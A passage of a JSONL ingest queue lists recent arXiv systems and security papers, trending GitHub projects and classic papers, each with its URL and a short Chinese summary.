race"},"url":"https://arxiv.org/abs/2605.26527","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"arxiv-recent-30d"} +{"slug":"datesat-a-framework-for-solving-date-and-period-constraints-arxiv-2605-25180","area":"papers","topic":"compilers-pl","title":"DateSAT A Framework for Solving Date and Period Constraints","meta":{"col3":"2026","col4":"CMU 2026 首个支持日期/时间段约束的 SMT 框架 450 case 数据集 + Z3 后端"},"url":"https://arxiv.org/abs/2605.25180","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"arxiv-recent-30d"} +{"slug":"agentic-proving-for-program-verification-arxiv-2605-23772","area":"papers","topic":"compilers-pl","title":"Agentic Proving for Program Verification","meta":{"col3":"2026","col4":"Bas Spitters 2026 Claude Code 在 CLEVER Lean 4 benchmark 上端到端 98.1 percent 成功"},"url":"https://arxiv.org/abs/2605.23772","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"arxiv-recent-30d"} +{"slug":"milestone-multi-objective-compiler-phase-ordering-arxiv-2605-23435","area":"papers","topic":"compilers-pl","title":"MileStone Multi-Objective Compiler Phase Ordering","meta":{"col3":"2026","col4":"2026 GNN 预测 + RL 探索的 phase ordering 同能耗下执行时间降低 45 percent"},"url":"https://arxiv.org/abs/2605.23435","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"arxiv-recent-30d"} +{"slug":"rtp-llm-high-performance-alibaba-llm-inference-engine-arxiv-2605-29639","area":"papers","topic":"ml-systems","title":"RTP-LLM High-Performance Alibaba LLM Inference Engine","meta":{"col3":"2026","col4":"Alibaba 2026 P-D Disaggregation + 分级 KV cache vs vLLM/SGLang 显著加速 + 1 亿用户验证"},"url":"https://arxiv.org/abs/2605.29639","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"arxiv-recent-30d"} +{"slug":"iorm-hierarchical-i-o-governance-for-thousands-of-consolidated-databases-arxiv-2","area":"papers","topic":"operating-systems","title":"IORM Hierarchical I/O Governance for Thousands of Consolidated Databases","meta":{"col3":"2026","col4":"Oracle Exadata 2026 I/O Tagging + 分层 Resource Profile 多租户 IOPS QoS 工业实践"},"url":"https://arxiv.org/abs/2605.29006","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"arxiv-recent-30d"} +{"slug":"bounded-priority-aware-locking-for-real-time-kernels-arxiv-2605-27620","area":"papers","topic":"operating-systems","title":"Bounded Priority-Aware Locking for Real-Time Kernels","meta":{"col3":"2026","col4":"BU 2026 Batched Priority Lock FIFO worst-case + 优先级 average wait 折中"},"url":"https://arxiv.org/abs/2605.27620","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"arxiv-recent-30d"} +{"slug":"sandlock-confining-ai-agent-code-with-unprivileged-linux-primitives-arxiv-2605-2","area":"papers","topic":"security-privacy","title":"Sandlock Confining AI Agent Code with Unprivileged Linux Primitives","meta":{"col3":"2026","col4":"2026 非 root 进程沙箱 静态 policy 入 kernel + 监督进程兜底 专为 AI agent 不可信代码设计"},"url":"https://arxiv.org/abs/2605.26298","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"arxiv-recent-30d"} +{"slug":"learnedcache-ebpf-integrated-perceptron-based-eviction-policy-arxiv-2605-26168","area":"papers","topic":"operating-systems","title":"LearnedCache eBPF-Integrated Perceptron-Based Eviction Policy","meta":{"col3":"2026","col4":"2026 Linux page cache 学习型驱逐策略 perceptron + eBPF + 实测 +10 percent insertion rate"},"url":"https://arxiv.org/abs/2605.26168","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"arxiv-recent-30d"} +{"slug":"paracell-paravirtualized-secure-containers-arxiv-2605-20906","area":"papers","topic":"operating-systems","title":"ParaCell Paravirtualized Secure Containers","meta":{"col3":"2026","col4":"SJTU 2026 MPK XGate intra-container 隔离 + Pager 内存管理 vs RunV agent 工作负载 -88 percent 延迟"},"url":"https://arxiv.org/abs/2605.20906","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"arxiv-recent-30d"} +{"slug":"clove-object-level-cxl-memory-management-in-managed-runtimes-arxiv-2605-20370","area":"papers","topic":"operating-systems","title":"Clove Object-Level CXL Memory Management in Managed Runtimes","meta":{"col3":"2026","col4":"Berkeley 2026 JVM 上的对象级 CXL 分层内存 profile-guided 热度跟踪 + 对象重定位"},"url":"https://arxiv.org/abs/2605.20370","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"arxiv-recent-30d"} +{"slug":"sematune-semantic-aware-online-os-tuning-with-llms-arxiv-2605-15026","area":"papers","topic":"operating-systems","title":"SemaTune Semantic-Aware Online OS Tuning with LLMs","meta":{"col3":"2026","col4":"2026 LLM 语义引导的内核参数在线调优 41 参数 13 工作负载 +72.5 percent steady-state"},"url":"https://arxiv.org/abs/2605.15026","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"arxiv-recent-30d"} +{"slug":"amp-arc-multi-proposer-protocol-with-bounded-inclusion-arxiv-2605-23677","area":"papers","topic":"distributed-systems","title":"AMP Arc Multi-Proposer Protocol with Bounded Inclusion","meta":{"col3":"2026","col4":"Tendermint 2026 多 proposer 区块链协议 解耦 dissemination 和 agreement bounded inclusion guarantee"},"url":"https://arxiv.org/abs/2605.23677","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"arxiv-recent-30d"} +{"slug":"herring-parallel-batch-order-fairness-on-dag-based-blockchain-consensus-arxiv-26","area":"papers","topic":"distributed-systems","title":"Herring Parallel Batch-Order-Fairness on DAG-based Blockchain Consensus","meta":{"col3":"2026","col4":"2026 Narwhal/Tusk 上的并行 batch-OF vs FairDAG-RL +90 percent throughput MEV 防御"},"url":"https://arxiv.org/abs/2605.23648","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"arxiv-recent-30d"} +{"slug":"multi-round-visibility-post-consensus-ordering-layer-for-dag-bft-arxiv-2605-2343","area":"papers","topic":"distributed-systems","title":"Multi-Round Visibility Post-Consensus Ordering Layer for DAG-BFT","meta":{"col3":"2026","col4":"2026 DAG BFT 的 post-consensus 结构化排序 committed DAG 作为证据基底"},"url":"https://arxiv.org/abs/2605.23432","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"arxiv-recent-30d"} +{"slug":"inductive-deductive-synthesis-verified-distributed-systems-arxiv-2605-23109","area":"papers","topic":"distributed-systems","title":"Inductive Deductive Synthesis Verified Distributed Systems","meta":{"col3":"2026","col4":"Stoica/Lesani 2026 agent 协同合成实现+证明 分布式 KV store 7/7 vs SOTA agent 2/7"},"url":"https://arxiv.org/abs/2605.23109","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"arxiv-recent-30d"} +{"slug":"monotone-erasure-codes-arxiv-2605-22426","area":"papers","topic":"distributed-systems","title":"Monotone Erasure Codes","meta":{"col3":"2026","col4":"2026 任意 monotone Boolean 公式上的 erasure code blockchain 通用化失效假设下的 AVID"},"url":"https://arxiv.org/abs/2605.22426","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"arxiv-recent-30d"} +{"slug":"automating-low-risk-code-review-at-meta-radar-arxiv-2605-30208","area":"papers","topic":"business-engineering","title":"Automating Low-Risk Code Review at Meta RADAR","meta":{"col3":"2026","col4":"Meta 2026 535K diff 的风险分级自动化 review revert 1/3 Production Incident 1/50"},"url":"https://arxiv.org/abs/2605.30208","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"arxiv-recent-30d"} +{"slug":"evorepair-vulnerability-repair-via-self-evolution-arxiv-2605-30105","area":"papers","topic":"security-privacy","title":"EvoRepair Vulnerability Repair via Self-Evolution","meta":{"col3":"2026","col4":"2026 experience-based 自进化 AVR agent PATCHEVAL 93.47 percent / SEC-bench 87 percent"},"url":"https://arxiv.org/abs/2605.30105","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"arxiv-recent-30d"} +{"slug":"projectional-decoding-semantic-aware-llm-generation-arxiv-2605-30054","area":"papers","topic":"compilers-pl","title":"Projectional Decoding Semantic-Aware LLM Generation","meta":{"col3":"2026","col4":"2026 LLM 生成时同步维护 partial graph model 增量语义验证 + 确定性 SE 保证"},"url":"https://arxiv.org/abs/2605.30054","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"arxiv-recent-30d"} +{"slug":"agora-autonomous-bug-detection-in-consensus-protocols-with-llm-agents-arxiv-2605","area":"papers","topic":"distributed-systems","title":"Agora Autonomous Bug Detection in Consensus Protocols with LLM Agents","meta":{"col3":"2026","col4":"2026 多 agent 协议 bug 检测 Raft/EPaxos/HotStuff/BullShark 共发现 15 个未知 logic bug"},"url":"https://arxiv.org/abs/2605.29910","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"arxiv-recent-30d"} +{"slug":"trails-inferring-code-correctness-from-specification-arxiv-2605-29822","area":"papers","topic":"compilers-pl","title":"TRAILS Inferring Code Correctness from Specification","meta":{"col3":"2026","col4":"2026 具体 input-output 对锚定 LLM 推理 vs Zero-Shot CoT MCC +39 percent"},"url":"https://arxiv.org/abs/2605.29822","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"arxiv-recent-30d"} +{"slug":"the-rise-of-the-software-defined-vehicle-architectures-survey-arxiv-2605-30001","area":"papers","topic":"embedded-iot","title":"The Rise of the Software-Defined Vehicle Architectures Survey","meta":{"col3":"2026","col4":"2026 SDV 综述 SOA/middleware/SDIoV/SDN+边缘+雾 电子电气架构演化分类法"},"url":"https://arxiv.org/abs/2605.30001","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"arxiv-recent-30d"} +{"slug":"codegraph","area":"projects","topic":"editors-ide","title":"colbymchenry/codegraph","meta":{"col3":"","col4":"TypeScript 35k star Pre-indexed code knowledge graph for Claude Code/AI tools"},"url":"https://github.com/colbymchenry/codegraph","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"github-trending"} +{"slug":"agentmemory","area":"projects","topic":"ml-systems","title":"rohitg00/agentmemory","meta":{"col3":"","col4":"TypeScript 20k star 持久化记忆系统供 AI coding agent 使用"},"url":"https://github.com/rohitg00/agentmemory","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"github-trending"} +{"slug":"understand-anything","area":"projects","topic":"editors-ide","title":"Lum1104/Understand-Anything","meta":{"col3":"","col4":"TypeScript 46k star 交互式代码探索的 knowledge graph"},"url":"https://github.com/Lum1104/Understand-Anything","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"github-trending"} +{"slug":"vimax","area":"projects","topic":"machine-learning","title":"HKUDS/ViMax","meta":{"col3":"","col4":"Python 8k star Agentic 视频生成 director-producer 角色编排"},"url":"https://github.com/HKUDS/ViMax","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"github-trending"} +{"slug":"skills","area":"projects","topic":"editors-ide","title":"mattpocock/skills","meta":{"col3":"","col4":"Shell 112k star 从个人工具积累的工程 skills 集合 Claude Code 周边"},"url":"https://github.com/mattpocock/skills","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"github-trending"} +{"slug":"ai-engineering-from-scratch","area":"projects","topic":"ml-systems","title":"rohitg00/ai-engineering-from-scratch","meta":{"col3":"","col4":"Python 25k star AI 工程综合教育与项目框架"},"url":"https://github.com/rohitg00/ai-engineering-from-scratch","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"github-trending"} +{"slug":"9router","area":"projects","topic":"ml-systems","title":"decolua/9router","meta":{"col3":"","col4":"JavaScript 15k star 多 LLM 提供商免费 AI coding 路由层"},"url":"https://github.com/decolua/9router","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"github-trending"} +{"slug":"aitoearn","area":"projects","topic":"business-engineering","title":"yikart/AiToEarn","meta":{"col3":"","col4":"TypeScript 17k star AI 内容变现平台"},"url":"https://github.com/yikart/AiToEarn","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"github-trending"} +{"slug":"ui-tars-desktop","area":"projects","topic":"ml-systems","title":"bytedance/UI-TARS-desktop","meta":{"col3":"","col4":"TypeScript 35k star ByteDance 多模态 agent stack 桌面端"},"url":"https://github.com/bytedance/UI-TARS-desktop","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"github-trending"} +{"slug":"ruflo","area":"projects","topic":"ml-systems","title":"ruvnet/ruflo","meta":{"col3":"","col4":"TypeScript 56k star Claude 多 agent swarm orchestration"},"url":"https://github.com/ruvnet/ruflo","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"github-trending"} +{"slug":"markitdown","area":"projects","topic":"data-science-ai","title":"microsoft/markitdown","meta":{"col3":"","col4":"Python 134k star Office 文档/任意文件转 Markdown 的 Python 工具"},"url":"https://github.com/microsoft/markitdown","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"github-trending"} +{"slug":"scrapling","area":"projects","topic":"backend-api","title":"D4Vinci/Scrapling","meta":{"col3":"","col4":"Python 56k star 自适应 web 爬虫框架 单请求到全规模爬取"},"url":"https://github.com/D4Vinci/Scrapling","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"github-trending"} +{"slug":"voxcpm","area":"projects","topic":"machine-learning","title":"OpenBMB/VoxCPM","meta":{"col3":"","col4":"Python 23k star 多语言 tokenizer-free TTS 系统"},"url":"https://github.com/OpenBMB/VoxCPM","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"github-trending"} +{"slug":"compound-engineering-plugin","area":"projects","topic":"editors-ide","title":"EveryInc/compound-engineering-plugin","meta":{"col3":"","col4":"TypeScript 18k star Claude Code/Codex/Cursor 的 Compound Engineering plugin"},"url":"https://github.com/EveryInc/compound-engineering-plugin","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"github-trending"} +{"slug":"train-llm-from-scratch","area":"projects","topic":"machine-learning","title":"FareedKhan-dev/train-llm-from-scratch","meta":{"col3":"","col4":"Jupyter 2k star 从下载数据到生成的 LLM 训练实战 guide"},"url":"https://github.com/FareedKhan-dev/train-llm-from-scratch","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"github-trending"} +{"slug":"supermemory","area":"projects","topic":"ml-systems","title":"supermemoryai/supermemory","meta":{"col3":"","col4":"TypeScript 23k star 快速可扩展 memory engine + AI 时代 Memory API"},"url":"https://github.com/supermemoryai/supermemory","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"github-trending"} +{"slug":"project-nomad","area":"projects","topic":"embedded-iot","title":"Crosstalk-Solutions/project-nomad","meta":{"col3":"","col4":"TypeScript 27k star 离线生存计算机 本地工具+知识+AI 整合"},"url":"https://github.com/Crosstalk-Solutions/project-nomad","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"github-trending"} +{"slug":"pi-subagents","area":"projects","topic":"ml-systems","title":"nicobailon/pi-subagents","meta":{"col3":"","col4":"TypeScript 1.7k star Pi extension 异步 subagent delegation"},"url":"https://github.com/nicobailon/pi-subagents","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"github-trending"} +{"slug":"developer-portfolios","area":"projects","topic":"editors-ide","title":"emmabostian/developer-portfolios","meta":{"col3":"","col4":"Python 23k star 开发者 portfolio 案例 curated 集合"},"url":"https://github.com/emmabostian/developer-portfolios","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"github-trending"} +{"slug":"build-your-own-x","area":"projects","topic":"editors-ide","title":"codecrafters-io/build-your-own-x","meta":{"col3":"","col4":"Markdown 508k star 通过重写经典工具学习编程"},"url":"https://github.com/codecrafters-io/build-your-own-x","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"github-trending"} +{"slug":"cloakbrowser","area":"projects","topic":"security-privacy","title":"CloakHQ/CloakBrowser","meta":{"col3":"","col4":"Python 22k star 通过 bot 检测的 stealth Chromium 浏览器"},"url":"https://github.com/CloakHQ/CloakBrowser","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"github-trending"} +{"slug":"financial-services","area":"projects","topic":"business-engineering","title":"anthropics/financial-services","meta":{"col3":"","col4":"Python 28k star Anthropic 金融服务实施样例库"},"url":"https://github.com/anthropics/financial-services","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"github-trending"} +{"slug":"docs","area":"projects","topic":"backend-api","title":"github/docs","meta":{"col3":"","col4":"TypeScript 19k star GitHub 官方文档站源码 开源"},"url":"https://github.com/github/docs","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"github-trending"} +{"slug":"harness","area":"projects","topic":"ml-systems","title":"revfactory/harness","meta":{"col3":"","col4":"HTML 4k star 元 skill 设计领域 agent 团队 + 生成 skill"},"url":"https://github.com/revfactory/harness","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"github-trending"} +{"slug":"backdoor-xz-liblzma-2024","area":"papers","topic":"security-privacy","title":"Backdoor in upstream xz/liblzma leading to SSH server compromise","meta":{"col3":"","col4":"Andres Freund oss-security 2024-03-29 CVE-2024-3094 社工+代码混淆典型案例"},"url":"https://www.openwall.com/lists/oss-security/2024/03/29/4","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"hacker-news-30d"} +{"slug":"crowdstrike-bsod-2024","area":"papers","topic":"operating-systems","title":"CrowdStrike Update Windows Bluescreen and Boot Loops","meta":{"col3":"","col4":"2024-07-19 CrowdStrike Falcon 内核驱动空指针 史上最大单次 Windows BSOD 事件"},"url":"https://old.reddit.com/r/crowdstrike/comments/1e6vmkf/bsod_error_in_latest_crowdstrike_update/","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"hacker-news-30d"} +{"slug":"ciechanowski-mechanical-watch","area":"papers","topic":"editors-ide","title":"Mechanical Watch by Bartosz Ciechanowski","meta":{"col3":"","col4":"ciechanow.ski 经典互动可视化范本 机械作为设计模式根基"},"url":"https://ciechanow.ski/mechanical-watch/","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"hacker-news-30d"} +{"slug":"youtube-dl-riaa-dmca-2020","area":"papers","topic":"security-privacy","title":"YouTube-dl RIAA DMCA Takedown","meta":{"col3":"","col4":"github/dmca 2020-10-23 DMCA 1201 与开源工具的法律博弈起点"},"url":"https://github.com/github/dmca/blob/master/2020/10/2020-10-23-RIAA.md","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"hacker-news-30d"} +{"slug":"gpt-4-launch-2023","area":"papers","topic":"machine-learning","title":"GPT-4 launch","meta":{"col3":"","col4":"OpenAI 2023-03-14 多模态对齐 + RLHF 工业化最早公开节点之一"},"url":"https://openai.com/research/gpt-4","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"hacker-news-30d"} +{"slug":"nee-lv-gta-loading-times","area":"papers","topic":"compilers-pl","title":"How I cut GTA Online loading times by 70 percent","meta":{"col3":"","col4":"nee.lv 2021 strlen 二次方算法的 reverse-engineering 经典 case"},"url":"https://nee.lv/2021/02/28/How-I-cut-GTA-Online-loading-times-by-70/","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"hacker-news-30d"} +{"slug":"openai-sora-2024","area":"papers","topic":"machine-learning","title":"Sora Creating video from text","meta":{"col3":"","col4":"OpenAI 2024 DiT-based video generation 公开最早工业旗舰"},"url":"https://openai.com/sora","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"hacker-news-30d"} +{"slug":"marginalia-search-engine","area":"projects","topic":"backend-api","title":"Marginalia Search Engine","meta":{"col3":"","col4":"search.marginalia.nu text-heavy 优先 + JS 重的网页降权 独立搜索引擎实现"},"url":"https://search.marginalia.nu/","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"hacker-news-30d"} +{"slug":"ngrok-tunnel-2014","area":"projects","topic":"backend-api","title":"ngrok introducing public URL tunneling","meta":{"col3":"","col4":"ngrok.com 本地 dev 暴露公网的工业事实标准 reverse tunnel"},"url":"https://ngrok.com/","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"hacker-news-30d"} +{"slug":"plausible-analytics","area":"projects","topic":"backend-api","title":"Plausible Analytics OSS","meta":{"col3":"","col4":"plausible.io GDPR 友好 + 自托管的 Google Analytics 替代"},"url":"https://plausible.io/","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"hacker-news-30d"} +{"slug":"unkey-api-keys","area":"projects","topic":"backend-api","title":"Unkey API key management","meta":{"col3":"","col4":"unkey.dev rate-limit + edge-cache 的 API 密钥分发"},"url":"https://github.com/unkeyed/unkey","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"hacker-news-30d"} +{"slug":"posthog-product-analytics","area":"projects","topic":"data-science-ai","title":"PostHog OSS Product Analytics","meta":{"col3":"","col4":"posthog.com session replay + funnel + experiments 一体化产品分析"},"url":"https://github.com/PostHog/posthog","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"hacker-news-30d"} +{"slug":"typst-typesetting","area":"projects","topic":"editors-ide","title":"Typst typesetting system","meta":{"col3":"","col4":"typst.app Rust 实现的 LaTeX 现代化替代 增量编译 + WASM 在线"},"url":"https://github.com/typst/typst","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"hacker-news-30d"} +{"slug":"zed-editor","area":"projects","topic":"editors-ide","title":"Zed A high-performance code editor","meta":{"col3":"","col4":"zed.dev Atom 团队 Rust 重写 GPU 渲染 + collaborative 编辑"},"url":"https://github.com/zed-industries/zed","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"hacker-news-30d"} +{"slug":"hekaton-microsoft-2013","area":"papers","topic":"databases","title":"Hekaton SQL Servers Memory-Optimized OLTP Engine","meta":{"col3":"","col4":"Diaconu et al. SIGMOD 2013 CMU 15-721 lecture MVCC + 编译执行的内存数据库设计"},"url":"https://www.microsoft.com/en-us/research/wp-content/uploads/2013/06/Hekaton-Sigmod2013-final.pdf","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"classic-syllabus"} +{"slug":"hyper-kemper-neumann-2011","area":"papers","topic":"databases","title":"HyPer A Hybrid OLTP and OLAP Main Memory DB","meta":{"col3":"","col4":"Kemper-Neumann ICDE 2011 CMU 15-721 fork+CoW 隔离 OLTP/OLAP"},"url":"https://db.in.tum.de/~kemper/papers/HyperICDE11.pdf","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"classic-syllabus"} +{"slug":"h-store-stonebraker-2008","area":"papers","topic":"databases","title":"H-Store A High-Performance Distributed Main Memory OLTP","meta":{"col3":"","col4":"Stonebraker VLDB 2007 分区单线程 OLTP 范式 VoltDB 商业前身"},"url":"https://hstore.cs.brown.edu/papers/hstore-vldb.pdf","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"classic-syllabus"} +{"slug":"monetdb-cracking-2007","area":"papers","topic":"databases","title":"Database Cracking by Idreos","meta":{"col3":"","col4":"Idreos CIDR 2007 CMU 15-721 按查询自适应排序的内存列存"},"url":"https://stratos.seas.harvard.edu/files/IKM_CIDR07.pdf","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"classic-syllabus"} +{"slug":"c-store-stonebraker-2005","area":"papers","topic":"databases","title":"C-Store A Column-oriented DBMS","meta":{"col3":"","col4":"Stonebraker VLDB 2005 CMU 15-721 列存范式起点 Vertica 前身"},"url":"https://www.cs.umd.edu/~abadi/papers/abadi-column-stores.pdf","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"classic-syllabus"} +{"slug":"vmware-ft-scales-2010","area":"papers","topic":"distributed-systems","title":"MIT 6.824 Fault-Tolerant Virtual Machines","meta":{"col3":"","col4":"Scales et al. SOSP 2010 deterministic replay+ primary-backup VMware FT"},"url":"https://courses.cs.washington.edu/courses/cse453/14au/papers/scales-sosp2010-vmft.pdf","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"classic-syllabus"} +{"slug":"spinnaker-rao-2011","area":"papers","topic":"distributed-systems","title":"Spinnaker WAN-replicated KV","meta":{"col3":"","col4":"Rao VLDB 2011 MIT 6.824 syllabus Paxos + 异步复制副本"},"url":"https://www.vldb.org/pvldb/vol4/p243-rao.pdf","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"classic-syllabus"} +{"slug":"dynamo-amazon-2007","area":"papers","topic":"distributed-systems","title":"Dynamo Amazons Highly Available KV Store","meta":{"col3":"","col4":"DeCandia SOSP 2007 MIT 6.824 经典 最终一致 + vector clock + sloppy quorum"},"url":"https://www.allthingsdistributed.com/files/amazon-dynamo-sosp2007.pdf","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"classic-syllabus"} +{"slug":"zookeeper-hunt-2010","area":"papers","topic":"distributed-systems","title":"ZooKeeper Wait-free coordination","meta":{"col3":"","col4":"Hunt USENIX 2010 MIT 6.824 ZAB 协议 + 协调服务范式"},"url":"https://www.usenix.org/legacy/event/usenix10/tech/full_papers/Hunt.pdf","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"classic-syllabus"} +{"slug":"naiad-murray-2013","area":"papers","topic":"distributed-systems","title":"Naiad A Timely Dataflow System","meta":{"col3":"","col4":"Murray SOSP 2013 Stanford CS244B 带版本戳的低延迟 dataflow"},"url":"https://www.microsoft.com/en-us/research/wp-content/uploads/2013/11/naiad_sosp2013.pdf","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"classic-syllabus"} +{"slug":"spanner-corbett-2012","area":"papers","topic":"distributed-systems","title":"Spanner Googles Globally-Distributed DB","meta":{"col3":"","col4":"Corbett OSDI 2012 Stanford CS244B TrueTime + 分布式事务范式"},"url":"https://research.google/pubs/pub39966/","status":"queued","claimed_by":null,"attempts":0,"source_file":"emergency-ingest-2026-05-31","priority_tier":"emergency","lens_origin":"classic-syllabus"} +{"slug":"awesome-distributed-systems-list","area":"projects","topic":"distributed-systems","title":"awesome-distributed-systems theanalyst","meta":{"col3":"","col4":"theanalyst/awesome-distributed-systems 分布式经典论文导航 